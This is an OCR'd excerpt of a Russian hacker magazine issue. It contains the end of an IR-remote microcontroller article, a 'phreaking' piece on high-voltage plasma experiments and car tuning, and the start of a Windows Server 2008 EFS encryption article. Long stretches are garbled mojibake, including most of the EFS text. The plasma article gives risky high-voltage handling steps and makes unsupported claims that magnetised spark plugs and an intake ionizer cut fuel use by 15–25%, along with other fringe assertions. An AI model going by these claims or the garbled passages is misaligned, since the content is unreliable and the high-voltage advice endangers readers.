мне привесить конденсатор 4.7 мкФ между питанием и землей<br />
датчика, ну а я был как бы не против. Затем я щупал осциллографом<br />
выход ИК-датчика, тыкал в кнопки пульта и пытался найти соответствие<br />
между протоколом и видимым мной на экране. После некоторых правок<br />
и перезаливок кода динамик стал наконец-то пищать, сообщая, что<br />
контроллер распознал мои нажатия.<br />
АПЛОДИСМЕНТЫ!<br />
Теперь ты можешь управлять с обыкновенного пульта дистанционного<br />
управления любой техникой в доме. Одной релюшкой с лампочкой все,<br />
естественно, не ограничивается, и ты волен привесить на контроллер<br />
какие угодно функции, хватило бы фантазии и усидчивости. Да, минусы<br />
в моем проекте тоже есть. Во-первых, устройство не умеет снаружи<br />
конфигурироваться через USB или UART. Захочешь поменять кнопку, на<br />
которую будет реагировать контроллер, — перекомпилируй и перепрошивай<br />
все по новой. Сам контроллер тоже слишком крут для таких задач.<br />
Я его выбрал за универсальность, но в готовом «серийном» устройстве,<br />
висящем в шкафу на стенке, понятно, придется использовать что-нибудь<br />
подешевле. Надеюсь, сидя на диване и руля техникой в доме, ты не<br />
заработаешь геморрой. Мой тебе совет, пока не поздно — выбрось пульт<br />
вместе с телевизором в окно и иди гулять. Весна, как-никак. z<br />
АЛГОРИТМ<br />
У меня оказался пульт от телевизора Sony ХХХ, поэтому прошивку для контроллера<br />
я писал, исходя из местного протокола. За «единичный интервал»<br />
берем 0,6 мс, тогда стартовый ноль — это 4 интервала, единица занимает<br />
1+2 интервала, а ноль — 1+1. Последовательность действий в моем случае<br />
примерно такова:<br />
— Ñòàâèì ïðåðûâàíèå íà ñðàáàòûâàíèå â 0 (êîãäà äàííûå íå<br />
ïåðåäàþòñÿ, òðàíçèñòîð â äàò÷èêå çàêðûò, íà íîæêå åäèíèöà).<br />
— Îêàçàâøèñü âíóòðè ïðåðûâàíèÿ, ñáðàñûâàåì è çàïóñêàåì<br />
òàéìåð.<br />
— Ñòàâèì ïðåðûâàíèå íà 1. Ñòàðòîâûé íîëü äîëæåí áûòü äëèíîé<br />
2.4 ìñ.<br />
— Âíóòðè ïðåðûâàíèÿ çàìåðÿåì, ñêîëüêî íàòèêàë òàéìåð:<br />
— Åñëè íàòèêàëî îêîëî 2.4 ìñ, òî ìû ïîéìàëè ïîëåçíûå äàííûå;<br />
— Åñëè íåò, òî ïîéìàëè ÷òî-òî íå òî.<br />
— [Ìåòêà!]  ëþáîì ñëó÷àå, ñòàâèì ïðåðûâàíèå ñíîâà íà 0,<br />
äà ê òîìó æå ñáðàñûâàåì ñ÷åò÷èê (åñëè ïðîäîëæàåì ïðèíèìàòü<br />
ïàêåò).<br />
— Ñðàáîòàòü îíî äîëæíî ïðèìåðíî ÷åðåç 0.6 ìñ. Åñëè ïðåðûâàíèå<br />
íàñòàëî ÷åðåç äðóãîé ïðîìåæóòîê âðåìåíè, òî ñáðàñûâàåì<br />
ñîñòîÿíèå. À åñëè ÷åðåç 0.6, — òî ìû ïîéìàëè îäèíî÷íóþ<br />
åäèíèöó. Ñëåäóþùàÿ ïîñëåäîâàòåëüíîñòü íàêîíåö-òî<br />
ñîîáùèò íàì, ÷òî èìåë â âèäó ïóëüò. Ñáðàñûâàåì ñ÷åò÷èê è<br />
ñòàâèì ïðåðûâàíèå íà 1.<br />
—  íåì ñìîòðèì, ÷åðåç êàêîé ïðîìåæóòîê âðåìåíè ìû òóò<br />
XÀÊÅÐ 04 /124/ 09<br />
АППАРАТНЫЕ<br />
ПРЕРЫВАНИЯ<br />
Любое ядро любого процессора как-то должно реагировать на<br />
внешние раздражители, например, на приход сигнала с какойнибудь<br />
ножки. Первый способ — банально написать программу,<br />
периодически опрашивающую периферию на предмет изменения<br />
состояния. Но это затратно, несинхронно и, вообще, немодно. Поэтому<br />
еще на заре компьютеростроения был изобретен механизм<br />
прерываний. Специальный периферийный контроллер содержит<br />
список функций (обработчиков), на которые нужно совершать переход,<br />
если произошло какое-либо событие. Если оно происходит,<br />
контроллер прерываний насильно сохраняет текущие значения<br />
регистров в стеке и перебрасывает процессорное ядро на новый<br />
адрес с обработчиком. Последний исполняется и сбрасывает флаг<br />
прерывания, сообщая, что оно обработано и можно двигаться<br />
дальше.<br />
101
phreaking<br />
ВАДИМ ДАНЬШИН «DOCTOR V_M_E_N»<br />
/ YURIK_YUROK2@MAIL.RU /<br />
ГРОМ И МОЛНИИ<br />
Эксперимент по передаче энергии на расстояние<br />
Все вокруг считают, что такую вещь, как плазма, без дорогостоящего<br />
коллайдера получить нереально. На самом деле, это не так. Сейчас ты<br />
поймешь, как с помощью хакерского моддинга можно легко и просто<br />
повысить рабочие характеристики своего автомобиля.<br />
>> phreaking<br />
Началось все со слуха, что какой-то там Apple умеет заряжаться в<br />
пределах комнаты беспроводным путем. Меня это весьма удивило,<br />
а потому я захотел узнать, насколько реально самому сделать такой<br />
уникальный девайс. Интерес понятен — я более чем уверен, что и<br />
твой мозг уже взволнован тысячами возможностей применения<br />
данного устройства в хакерском быту. Только представь — зарядка<br />
«жуков», сотовых телефонов, да и вообще, создание специальных<br />
площадей в доме, где техника сама бы централизованно подзаряжалась.<br />
После того, как первые впечатления от услышанной новости<br />
малость утихли, я полез гуглить. И первым делом наткнулся на<br />
небезынтересную работу под названием «Ручная плазма» — на сайте<br />
журнала по ссылке http://www.xakep.ru/post/22867/default.asp. В этой<br />
статье было представлено относительно простое и изящное решение<br />
проблемы. Я мигом побежал в магазин за деталями, купил резисторы,<br />
транзистор, гигантский радиатор с еще тремя подходящими<br />
транзисторами в придачу — все по списку. А вот рабочий строчник я<br />
зачем-то дернул из горелой платы советского телика и, как выяснилось<br />
позже, сделал это зря. Тем не менее, схема работала даже в моем<br />
отвратительно-пофигистическом исполнении и что-то даже пыталась<br />
выдавать. Оказывается, для системы отлично подходят старинные<br />
строчники ТВС-110ЛА. Также во время походов по магазинам я наткнулся<br />
на катушку дважды лакированной тонкой медной проволочки<br />
толщиной 0.1 мм. Цена вопроса сложилась из:<br />
— Êàòóøêà ïðîâîëîêè (1-1.5 êì) — 700 ðóá.<br />
— 6 òðàíçèñòîðîâ + ðàäèàòîð — 800 ðóá.<br />
— Êóñîê êàíàëèçàöèîííîé ïëàñòèêîâîé òðóáû — 0 ðóá. (íàøåëñÿ<br />
â ïîäâàëå)<br />
— Êîíäåíñàòîðû, äèîäû è ðåçèñòîðû — 200 ðóá.<br />
— Ñòðî÷íèê ÒÂÑ-110ËÀ â èñòèííî ñîâåòñêîé óïàêîâêå — 90 ðóá.<br />
Итого, имеем на руках почти полный боекомплект, необходимый, чтобы<br />
начать опыты по передаче энергии на расстояние. Но прежде, уважаемый<br />
читатель, советую погуглить в инете на эту тему, а также про<br />
трансформатор Тесла и законы Кирхгофа. Погуглил? Тогда читай дальше:<br />
102<br />
еще в 1890-х годах Никола Тесла произвел интересную демонстрацию на<br />
озере (http://www.mirf.ru/Articles/art716.htm), в ходе которой люди наблюдали<br />
дистанционное управление плавающим средством — кораблик<br />
подчинялся хитрым манипуляциям Теслы. А ведь тогда не то что приемников<br />
не было — даже транзисторов не существовало! Собственно,<br />
потому и уважают Теслу, что он методом камня и топора делал неописуемые<br />
для тех времен вещи.<br />
А ТЫ ИГРАЛ В HL2?<br />
Если играл, то помнишь голубенькие барьеры, которые питались<br />
током. Давай сейчас, на примере простого опыта, поймем, как можно<br />
растянуть электрическое поле по довольно большой площади. Для<br />
этого построим следующую конструкцию. Возьмем обычную (желательно,<br />
не грязную:)) автомобильную свечку. Спилим боковой<br />
электрод, и затем подключим к ней трансформатор высокочастотного<br />
высоковольтного напряжения. Подключил? Если все сделал правильно,<br />
то сможешь наблюдать множественные искорки от центрального<br />
контакта к боковым стенкам.<br />
Теперь делаем неожиданный финт — крепим по бокам свечки обыкновенные<br />
ниодимовые магниты (подробнее о них я писал в февральской статье).<br />
Прилепил? Ты увидишь не единичные разряды, а «размазанный диск» —<br />
по сути, это и есть плазма. При высокой частоте, порядка 15 кГц, единичные<br />
удары размазываются в однородное поле, которое можно использовать,<br />
например, как среду для поджигания горючего. Фишка в том, что, если<br />
снизить частоту примерно до 300 Гц, то станешь свидетелем вращения<br />
электрической дуги в магнитном поле. Пока что у тебя в руках очень слабый<br />
трансформатор, но ничто не помешает тебе собрать трансформатор Тесла<br />
мощнее. Тем более, он относительно прост в изготовлении.<br />
ПРОКАЧАЕМ ПЛАЗМУ<br />
Вдоволь наигравшись, проведем следующий опыт: узнаем, насколько<br />
можно увеличить площадь получаемого плазменного поля. Для этого<br />
тебе понадобятся две ровные металлические пластины, порядка<br />
15х15 см, несколько колец из диэлектрика (например, на ура пройдут<br />
резиновые прокладки от раковины). Если с пластинами напряг, можешь<br />
XÀÊÅÐ 04 /124/ 09
phreaking<br />
использовать две металлические крышки для банок с бабушкиным<br />
вареньем. Теперь бери и собирай из этого барахла «пирамидку»: клади<br />
вниз под пластину оголенный провод, сверху пластину, затем диэлектрик,<br />
крышку и сверху — еще один электрод с магнитом. Результатом<br />
станет плазменное колечко, площадь которого значительно больше<br />
плазменного диска в предыдущем опыте — красота, да и только! Кстати,<br />
забыл сказать, что для своих опытов ты также можешь использовать<br />
искровой трансформатор из отечественных автомобилей старше 10-15<br />
лет. На выходе этого трансформатора мы будем иметь 10 кВ с частотой<br />
порядка 5 кГц. Для наших опытов вполне достаточно.<br />
РЕЗУЛЬТАТОМ СТАНЕТ<br />
ПЛАЗМЕННОЕ КОЛЕЧКО,<br />
ПЛОЩАДЬ КОТОРОГО<br />
ЗНАЧИТЕЛЬНО БОЛЬШЕ<br />
ПЛАЗМЕННОГО ДИСКА В<br />
ПРЕДЫДУЩЕМ ОПЫТЕ —<br />
КРАСОТА, ДА И ТОЛЬКО .<br />
ИОНИЗАЦИОННЫЙ ТОК<br />
Мы наигрались с плазмой, но есть более простые и не менее важные<br />
свойства высоковольтных токов. Возьми пассатижами два высоковольтных<br />
провода под напряжением (ïðî òåõíèêó áåçîïàñíîñòè íàïîìèíàòü<br />
íå íóæíî? — Ïðèì. ðåä.) и начинай их сближать. Прежде чем<br />
между ними начнет пробивать искра, ты сможешь насладиться характерным<br />
шипением и фиолетовым свечением на остриях проводников.<br />
Спрашивается, что в этом особенного? А вот что: ты наблюдаешь передачу<br />
энергии от одного электрода к другому. Напряжение в проводнике<br />
столь высоко, что между электродами возникает ионизационный ток.<br />
На самом деле, это очень прикольная штука, которую сейчас в стенах<br />
военных лабораторий пытаются использовать для полета самолетов.<br />
Подобный ионизационный поток может утягивать за собой небольшие<br />
частицы. В роли частиц могут выступать, например, воздух или вода.<br />
Ионизационный поток или, как его еще иногда называют, «фитонное<br />
свечение», можно усилить, подведя к концу иголки колечко или, скажем,<br />
сетку. Это явление уже активно применяется в краскопультах. Есть так<br />
называемая электростатическая покраска машин — основана на эффекте<br />
распыления жидкости, вытекающей из положительно заряженной<br />
трубки малого диаметра при направлении ее на отрицательно заряженную<br />
поверхность. В качестве такой трубки, распыляющей воду, можно<br />
заюзать шприц без поршня. Просто присоедини к иголке шприца положительный<br />
электрод и подай минус на металлическую пластину. Стоит<br />
тебе включить высоковольтный источник постоянного тока, — и вода из<br />
шприца перестанет капать, а начнет очень мелко распыляться. Именно<br />
так в современном автомобилестроении добиваются высококачественной,<br />
равномерной покраски деталей. Упомяну и о летающей платформе<br />
Гребенникова, но распространяться о ней не буду, так как статья всего<br />
лишь обзорная.<br />
Еще я хотел бы сказать о самом процессе протекания электрического<br />
тока в воздушных средах. Всей сложностью и нелинейностью законов<br />
распространения электрического заряда в воздухе грузить не буду, но<br />
пару слов сказать все-таки надо.<br />
Электрическая дуга, как ни крути, это, прежде всего, резистор, который<br />
выделяет тепло. У нее есть свое сопротивление, которое надо учитывать.<br />
Так, если ты будешь пытаться делать очень короткие искры блоком питания<br />
от своего старого монитора, то он может посчитать это замыканием<br />
и либо вынести тебя на срабатывание защиты, что на практике счастье<br />
небесное, либо сгореть. Дуга подчиняется закону Ома, но только на очень<br />
коротком ее участке. Для более детального изучения электрические<br />
свойства описывают с помощью вольтамперной характеристики. Одну<br />
из таких характеристик ищи на врезке. Но приведенная картинка не<br />
учитывает таких разнообразных факторов, как состав, давление испытуемого<br />
газа, воздействий на газ, материала и расположения электродов,<br />
форм электродов, геометрии возникающего электрического поля в газе.<br />
Несмотря на то, что этот вопрос и его феномены изучали не одна тысяча<br />
человек в различных НИИ и лабораториях, все равно остались «белые<br />
пятна».<br />
ПРИМЕНЯЕМ ПРИКОЛЫ НА ПРАКТИКЕ<br />
Из вышеописанного следует, что ты с 100% успехом можешь сделать<br />
апгрейд своей машины, доработав свечи зажигания по указанной технологии.<br />
Есть спортивные свечи зажигания, уже специально заточенные<br />
под эту фишку, но их создатели, видимо, не знали про влияние магнитного<br />
поля на дуговой разряд. Как показали замеры расхода топлива<br />
у моих знакомых, внедрение технологии позволило экономить топливо<br />
порядка 25% и повысить мощность движка примерно на 15%.<br />
А теперь вот такой опыт — для него потребуется постоянное напряжение,<br />
но это не составит для тебя никакой проблемы, если ты читал статью<br />
за прошлый месяц. Берем канализационную пластиковую трубу 50<br />
мм в диаметре. Нам нужен обрезок длиной примерно<br />
№ 1 № 2 №3<br />
МОДЕРНИЗИРОВАННАЯ<br />
АВТОМОБИЛЬНАЯ<br />
СВЕЧА, ПИТАЕМАЯ<br />
РОДНЫМ ИСТОЧНИКОМ<br />
ПРИ РАЗНЫХ ОБОРОТАХ<br />
ДВИГАТЕЛЯ<br />
XÀÊÅÐ 04 /124/ 09<br />
103
pc_zone phreaking<br />
104<br />
КАКИЕ ВИДЫ РАЗРЯДОВ<br />
ИЗУЧЕНЫ?<br />
Как ты уже догадался, электрический<br />
разряд — штука весьма неоднозначная<br />
и зависящая от целого ряда<br />
факторов. Различают множество<br />
разрядов, которые классифицируются<br />
по механизмам их возникновения.<br />
Электрические разряды подразделяются<br />
на:<br />
• Искровой разряд. В предыдущей<br />
статье я про него очень много писал и,<br />
вообще, увидеть этот разряд своими<br />
глазами — не редкость. Как правило,<br />
он высокочастотный, возникает при<br />
относительно малой силе тока (до 10<br />
mA) и большом напряжении, порядка<br />
10 кВ и выше.<br />
• Коронный разряд. По сути, это<br />
свечение проводника, обладающего<br />
меньшей площадью пробоя, при его<br />
приближении к другому контакту под<br />
напряжением. Фишка этого разряда<br />
в том, что при больших частотах он<br />
может быть очень плотным. Во время<br />
возникновения коронного разряда<br />
появляется так называемый «электрический<br />
ветер», скорость которого<br />
может достигать 10 м/с, в зависимости<br />
от конструкционных особенностей.<br />
Считают, что в платформе Гребенникова<br />
использовался именно этот вид<br />
разряда.<br />
• Скользящий разряд. Особенностью<br />
скользящего разряда является его<br />
протяженность. При тех же самых<br />
условиях, что и у искрового разряда,<br />
он может быть в 10 раз длиннее.<br />
Вероятно, это связано со своего рода<br />
«отражением» искры от теплостойкого<br />
отполированного диэлектрика.<br />
Но поскольку таких теплостойких<br />
непроводящих материалов очень<br />
мало в природе, — феномен до сих пор<br />
малоизучен. Применяется в фильтрах<br />
и осушителях.<br />
• Газовый разряд. Самым важным<br />
применением этих разрядов,<br />
пожалуй, является электроискровая<br />
обработка металлов и обеззараживание<br />
воды. Отмечу и такое явление,<br />
как гидроудар — резкое расширение<br />
воды, сопровождаемое выделением<br />
тепла и частичным испарением. Он<br />
настолько силен, что горняки сокрушают<br />
им каменные глыбы, просто<br />
просверлив в неподатливой породе<br />
отверстие, залив воду и вставив спецтрубку<br />
с электродами. Как результат,<br />
глыба разлетается на относительно<br />
небольшие куски. Ударная волна<br />
гораздо мощнее, чем у бензина или,<br />
скажем, у того же динамита. На эту<br />
тему написано достаточно много. Интересно<br />
было бы создать такой клапан<br />
для двигателя внутреннего сгорания,<br />
который позволял бы распределять<br />
резко выделяющуюся энергию.<br />
• Тлеющий разряд. Как правило, это<br />
высокочастотный разряд, возникающий<br />
при переменном токе высокого<br />
напряжения. Подобный эффект<br />
наблюдается в разреженной газовой<br />
среде. Наиболее наглядный пример<br />
— плазменная лампа. В магазине<br />
я видел такую игрушку, стоила 400<br />
рублей.<br />
• Дуговой разряд. Электродуговая<br />
сварка — первое, что приходит<br />
в голову, когда говорят о дуговом<br />
разряде. Возникает он при сравнительно<br />
небольших напряжениях, но<br />
при относительно большой силе тока<br />
(так, на выходе моего домашнего<br />
трехфазного сварочного трансформатора<br />
написано «300В 20А»). Его можно<br />
наблюдать при коротком замыкании<br />
в сети 220 вольт. Явление сопровождается<br />
сильным тепловыделением и<br />
плавлением электродов.<br />
• Оптический разряд. Пожалуй,<br />
самый интересный тип разрядов. Не<br />
открою тайну, сказав, что лазер является<br />
точечным ионизатором. Точнее,<br />
по лазеру можно передавать энергию,<br />
как будто у нас в руках обыкновенный<br />
провод. Единственный минус<br />
— необходима большая мощность<br />
лазера. В США сейчас предпринимаются<br />
активные попытки снять<br />
высокопотенциальное напряжение из<br />
ионосферы планеты. Идея заключается<br />
в том, чтобы по очень мощному<br />
лазерному лучу снимать энергию,<br />
которой бы хватило и на работу лазера,<br />
и на обеспечение населения почти<br />
бесплатным, экологически чистым<br />
электричеством.<br />
25-30 см. Теперь необходимо изнутри проклеить ее фольгой<br />
— и точно по центру, параллельно внутренним стенкам,<br />
протянуть кусок неизолированной, толстой медной проволоки.<br />
Выведи контакты площадей на внешний корпус этой<br />
трубы и постарайся вмонтировать ее в гофрошланг, идущий<br />
от воздушного фильтра к мотору. Зачем все это? А вот<br />
зачем: если ты разберешь телевизор или CRT-монитор, то<br />
высоковольтные элементы в нем будут самыми пыльными.<br />
А происходит это потому, что высокое напряжение в физике<br />
есть некий аналог электростатического напряжения.<br />
Иными словами, — наша самоделка будет очищать воздух,<br />
поступающий в сердце твоего зверя, от лишней пыли, если<br />
к ней правильно подключить автомобильный ионизатор<br />
воздуха (видел такой агрегат за 900 рублей в продаже).<br />
«Правильно» — это значит: минусом к фольге, а плюсом к<br />
центральной проволочке. Как результат, смесь, заряженная<br />
таким воздухом, воспламеняется заметно лучше. Тебя<br />
также порадует экономия топлива (порядка 15%) и более<br />
резвое поведение твоей машины на подъемах.<br />
«ПРАВИЛЬНО» — ЭТО<br />
ЗНАЧИТ: МИНУСОМ К<br />
ФОЛЬГЕ, А ПЛЮСОМ К<br />
ЦЕНТРАЛЬНОЙ ПРОВО-<br />
ЛОЧКЕ.. КАК РЕЗУЛЬТАТ,<br />
СМЕСЬ, ЗАРЯЖЕННАЯ<br />
ТАКИМ ВОЗДУХОМ, ВОС-<br />
ПЛАМЕНЯЕТСЯ ЗАМЕТНО<br />
ЛУЧШЕ.<br />
О ЗДОРОВЬЕ И ЗДРАВОМ СМЫСЛЕ<br />
Мы вкратце рассмотрели (а частично — даже применили<br />
на практике) такие интересные явления, как ионизация,<br />
дуговой разряд и вращение дуги. Машина моего знакомого<br />
уже работает с приведенными выше модификациями.<br />
Это реально оказывает положительный эффект в работе<br />
двигателя внутреннего сгорания. Старайся грамотно<br />
оценить и рассчитать требуемую мощность конечной<br />
установки, иначе суровая действительность ударит<br />
тебя не только по кошельку, но и по здоровью. Во время<br />
возникновения дугового разряда, или хотя бы слабого<br />
ионизационного свечения, из проводника вырываются<br />
не только электроны или ионы. Из проводника вылетает<br />
весь спектр частиц, начиная от жесткого ультрафиолета<br />
и заканчивая слабым рентген излучением. А это значит,<br />
что повторять эти опыты на протяжении длительного<br />
времени не стоит, равно, как и изготавливать ночники из<br />
трансформатора Тесла. Ну не для того он предназначен.<br />
С другой стороны, если рассмотреть те же ионизаторы<br />
воздуха, где все рассчитано в пределах допустимых норм,<br />
то вполне реально создать такое устройство, которое<br />
одновременно решало бы какую-то определенную<br />
проблему — и было бы безвредно для человека. Ты же не<br />
собираешься строить девайс для уничтожения людей под<br />
лозунгом «облучи себя сам»? z<br />
XÀÊÅÐ 04 /124/ 09
phreaking<br />
МОДЕРНИЗИРОВАННЫЙ<br />
АВТОФИЛЬТР.<br />
1.Металлический корпус, снаружи желательно<br />
изолировать.<br />
2. Металлический электрод.<br />
3. Крепления электрода.<br />
4. Изолирующее крепление электрода.<br />
5. Провода высокого напряжения — к корпусу (+) ,<br />
к стержню (-). Недостаток: на электроде быстро<br />
скапливается пыль. Ставится непосредственно<br />
при входе воздуха; карбюратор — перед фильтром;<br />
инжектор — после фильтра.<br />
ОБЩАЯ ВОЛЬТАМПЕРНАЯ ХАРАКТЕРИСТИКА<br />
РАЗРЯДОВ<br />
ВОЛЬТАМПЕРНАЯ ХАРАКТЕРИСТИКА<br />
ТИХОГО РАЗРЯДА<br />
XÀÊÅÐ 04 /124/ 09<br />
105
SYN/ACK<br />
СЕРГЕЙ «GRINDER» ЯРЕМЧУК<br />
/ CORE@SYNACK.RU /<br />
За семью<br />
печатями<br />
Win2k8: средства и инструменты безопасности<br />
Принципы, заложенные в Win2k8, позволяют достичь уровня безопасности<br />
более высокого, чем когда-либо. Усиление защиты никак<br />
не сказалось на управляемости, — наоборот, многие настройки стали<br />
проще и понятнее. В этом легко убедиться, разобрав по косточкам<br />
встроенные механизмы шифрования и административные шаблоны,<br />
позволяющие удаленно настраивать параметры безопасности и системный<br />
реестр клиентских компов.<br />
>> SYN/ACK<br />
106<br />
ШИФРУЮЩАЯ ФАЙЛОВАЯ СИСТЕМА EFS Ñåãîäíÿ ìíîãî ãîâîðÿò<br />
î ïîòåðÿõ öåííîé èíôîðìàöèè èç-çà íåñàíêöèîíèðîâàííîãî äîñòóïà<br />
ê ñèñòåìå èëè áàíàëüíîé êðàæè ñèñòåìíîãî áëîêà. Â Win2k8 âñòðîåíû<br />
ñðåäñòâà, êîòîðûå ïîçâîëÿþò ñîçäàòü çàøèôðîâàííûé ôàéë, êàòàëîã èëè<br />
ðàçäåë. Äàííûå, çàùèùåííûå òàêèì îáðàçîì, ìîãóò áûòü ïðî÷èòàíû<br />
òîëüêî òåìè ïîëüçîâàòåëÿìè, êîòîðûå èìåþò ê íèì äîñòóï. Äëÿ øèôðîâàíèÿ<br />
ôàéëîâ è êàòàëîãîâ èñïîëüçóåòñÿ øèôðîâàííàÿ ôàéëîâàÿ ñèñòåìà<br />
EFS (Encrypting File System), ïîääåðæèâàåìàÿ âñåìè ÎÑ Microsoft,<br />
íà÷èíàÿ ñ Win2k. Ñ êàæäîé íîâîé âåðñèåé ñèñòåìû ýòà òåõíîëîãèÿ ñîâåðøåíñòâóåòñÿ,<br />
èçìåíÿþòñÿ àëãîðèòìû è äëèíà êëþ÷åé. Òàê, â Win2k8 ðåàëèçîâàíî<br />
õðàíåíèå êëþ÷åé øèôðîâàíèÿ íà ñìàðò-êàðòàõ, øèôðîâàíèå<br />
êëèåíòñêîãî êýøà è ôàéëà ïîäêà÷êè, ïðåäóñìîòðåíî öåíòðàëèçîâàííîå<br />
àäìèíèñòðèðîâàíèå ïîëèòèê EFS, à òàêæå óïðîùåíî îáíîâëåíèå êëþ÷åé<br />
øèôðîâàíèÿ.<br />
Ôàêòè÷åñêîå øèôðîâàíèå äàííûõ â Win2k8 ïðîèçâîäèòñÿ ïðè ïîìîùè<br />
ñèììåòðè÷íîãî àëãîðèòìà AES ñ 256-ðàçðÿäíûì êëþ÷îì (àëüòåðíàòèâíî<br />
3DES, DESX). Ýòî îáåñïå÷èâàåò âûñîêóþ ñêîðîñòü ðàáîòû. Ó÷èòûâàÿ,<br />
÷òî EFS ðàáîòàåò íà óðîâíå äðàéâåðà NTFS, íàêëàäíûå ðàñõîäû íà øèôðîâàíèå/ðàñøèôðîâêó<br />
äàííûõ íåâåëèêè. Â ïðîöåññå ðàáîòû èñïîëüçóåòñÿ<br />
ñëó÷àéíûé äëÿ êàæäîãî ôàéëà êëþ÷ FEK (File Encryption Key). Ñàì FEK<br />
øèôðóåòñÿ îòêðûòûìè êëþ÷àìè ïîëüçîâàòåëÿ-âëàäåëüöà è àäìèíèñòðàòîðà<br />
âîññòàíîâëåíèÿ (â Win2k8 èñïîëüçóåòñÿ àññèìåòðè÷íûé àëãîðèòì<br />
RSA 2048 áèò). Îáðàçîâàííûå ïîñëå ýòîãî äâà âàðèàíòà êëþ÷åé ñîõðàíÿþòñÿ<br />
â âèäå àòðèáóòà DDF (Data Decryption Field, ïîëå øèôðîâàíèÿ äàííûõ)<br />
â àëüòåðíàòèâíîì ïîòîêå $EFS ôàéëîâîé ñèñòåìû NTFS.<br />
Äëÿ ïîëüçîâàòåëÿ, ñîçäàâøåãî çàøèôðîâàííûé ôàéë èëè êàòàëîã, ïðîöåññ<br />
ïîëíîñòüþ ïðîçðà÷åí: îí ðàáîòàåò ñ òàêèìè ôàéëàìè, êàê ñ îáû÷íûìè.<br />
Âñå îñòàëüíûå, ïðè ïîïûòêå îòêðûòü òàêîé ôàéë, ïîëó÷àò îòêàç â<br />
äîñòóïå. Èñêëþ÷åíèå ñîñòàâëÿåò ëèøü àãåíò âîññòàíîâëåíèÿ êëþ÷à (ïî<br />
óìîë÷àíèþ — àäìèíèñòðàòîð ëîêàëüíûé èëè äîìåíà), êîòîðûé ìîæåò<br />
âîññòàíîâèòü çàøèôðîâàííûé ôàéë â ñëó÷àå ïîòåðè èëè ñáðîñà ïàðîëÿ<br />
ïîëüçîâàòåëÿ. Åñëè ñêîïèðîâàòü çàøèôðîâàííûé ôàéë èëè êàòàëîã íà<br />
ôàéëîâóþ ñèñòåìó, íå ïîääåðæèâàþùóþ EFS (íàïðèìåð, ôëåøêó, îòôîðìàòèðîâàííóþ<br />
â FAT32), ïîÿâèòñÿ îêíî ïîäòâåðæäåíèÿ ïîòåðè øèôðîâàíèÿ.<br />
Ïîñëå ïîäòâåðæäåíèÿ ôàéë ïåðåìåùàåòñÿ â îáû÷íîì âèäå è ìîæåò<br />
áûòü ïðî÷èòàí âñåìè ïîëüçîâàòåëÿìè.<br />
Ñòàíäàðòíîå âêëþ÷åíèå EFS â Win2k8 âûãëÿäèò òàê.  îêíå ñâîéñòâ ôàéëà<br />
èëè êàòàëîãà âûáèðàåì âêëàäêó «Îáùèå» è âûçûâàåì îêíî «Äîïîëíèòåëüíûå<br />
àòðèáóòû» (Advanced Attributes), íàæàâ êíîïêó «Äðóãèå». Çàòåì<br />
óñòàíàâëèâàåì ïåðåêëþ÷àòåëü â ïîëå «Øèôðîâàòü ñîäåðæèìîå äëÿ çàùèòû<br />
äàííûõ» (Encrypt contents to secure data) è ùåëêàåì «Ïðèìåíèòü».<br />
Ïîñëå òîãî êàê äàííûå çàøèôðîâàíû, â òîì æå îêíå «Äîïîëíèòåëüíûå<br />
àòðèáóòû» ìîæíî äîáàâèòü ïîëüçîâàòåëåé, êîòîðûå äîëæíû èìåòü ê íèì<br />
äîñòóï.<br />
 êîìïëåêòå ïîñòàâêè åñòü è êîíñîëüíàÿ óòèëèòà cipher.exe, ïîçâîëÿþùàÿ<br />
ðàáîòàòü ñ EFS-äàííûìè â êîìàíäíîé ñòðîêå. Ââîä åå áåç ïàðàìåòðîâ<br />
âûäàñò ñïèñîê ôàéëîâ â òåêóùåì êàòàëîãå. Áóêâà íà ïåðâîé ïîçèöèè ïîêàçûâàåò<br />
íà — «E» (çàøèôðîâàííûé) è «U» (íåçàøèôðîâàííûé) ôàéë.<br />
×òîáû ïîëó÷èòü ïîëíûé ñïèñîê âñåõ ïàðàìåòðîâ óòèëèòû, ñëåäóåò íàáðàòü<br />
«cipher /?».<br />
Àêòèâèðîâàòü EFS ìîæíî äëÿ ëþáîãî ôàéëà èëè êàòàëîãà, èñêëþ÷åíèå<br />
ñîñòàâëÿþò ëèøü ñèñòåìíûå è ñæàòûå ôàéëû. Óñòàíîâèòü ïåðåêëþ÷àòåëü<br />
îäíîâðåìåííî â ïîëîæåíèå, àêòèâèðóþùåå øèôðîâàíèå è ñæàòèå<br />
(«Ñæèìàòü ñîäåðæèìîå äëÿ ýêîíîìèè ìåñòà íà äèñêå»), íåâîçìîæíî.<br />
Åñëè íóæíî çàøèôðîâàòü äàííûå â ñæàòîì êàòàëîãå, ïðîñòî ïåðåêëþ÷àåì<br />
ôëàæîê, ïîñëå ÷åãî â ïîÿâèâøåìñÿ îêíå èçìåíåíèÿ àòðèáóòîâ ïðèìåíÿåì<br />
óñòàíîâêè êî âñåì âëîæåííûì ôàéëàì è êàòàëîãàì. Íî ó÷òè, äðóãèå<br />
ïîëüçîâàòåëè, õðàíèâøèå ôàéëû â êàòàëîãå, ïîñëå ýòîé îïåðàöèè óæå íå<br />
áóäóò èìåòü ê íèì äîñòóï :). Â ôàéëîâîì ìåíåäæåðå çàøèôðîâàííûå êàòàëîãè<br />
ïîäñâå÷èâàþòñÿ çåëåíûì öâåòîì, ñæàòûå — ñèíèì, ïîýòîìó èõ<br />
õîðîøî âèäíî.<br />
Åñëè ïîëüçîâàòåëü íå èìååò ñåðòèôèêàòà EFS, ïðè ïåðâîì çàïóñêå îí<br />
áóäåò ñîçäàí àâòîìàòè÷åñêè. Ïðîñìîòðåòü âñå âûäàííûå ïîëüçîâàòåëþ<br />
ñåðòèôèêàòû ìîæíî âî âêëàäêå «Ëè÷íîå» (Personal) êîíñîëè «Ñåðòèôèêàòû»<br />
(certmgr.msc). Ñðåäè îñòàëüíûõ ñåðòèôèêàòîâ îòëè÷èòü íóæíûé<br />
ìîæíî ïî ïîëþ «Íàçíà÷åíèå» — «Ôàéëîâàÿ ñèñòåìà EFS». Íî çäåñü åñòü<br />
XÀÊÅÐ 04 /124/ 09
SYN/ACK<br />
îäèí ìîìåíò, î êîòîðîì íóæíî çíàòü. Åñëè êîìïüþòåð íå ïîäêëþ÷åí ê<br />
äîìåíó, âûäàííûé òàêèì îáðàçîì ñåðòèôèêàò íå áóäåò îáîçíà÷åí êàê<br />
Trusted. ×òîáû âêëþ÷èòü «Äîâåðèå», íåîáõîäèìî äîáàâèòü òàêîé ñåðòèôèêàò<br />
